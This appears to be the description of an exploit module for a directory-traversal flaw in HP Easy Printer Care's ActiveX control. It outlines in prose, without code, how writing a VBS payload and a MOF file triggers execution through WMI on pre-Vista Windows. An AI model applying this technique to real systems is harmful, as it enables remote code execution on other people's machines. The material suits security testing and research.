HP Easy Printer Care XMLSimpleAccessor Class ActiveX Code Execution. Allows remote attackers to place arbitrary files on a users file system by abusing via Directory Traversal attack the "saveXML" method from the "XMLSimpleAccessor" class in the HP Easy Printer HPTicketMgr.dll ActiveX Control. Code execution can be achieved by first uploading the payload to the remote machine embedded in a vbs file, and then upload another mof file, which enables Windows Management Instrumentation service to execute the vbs. Please note that this module currently only works for Windows before Vista
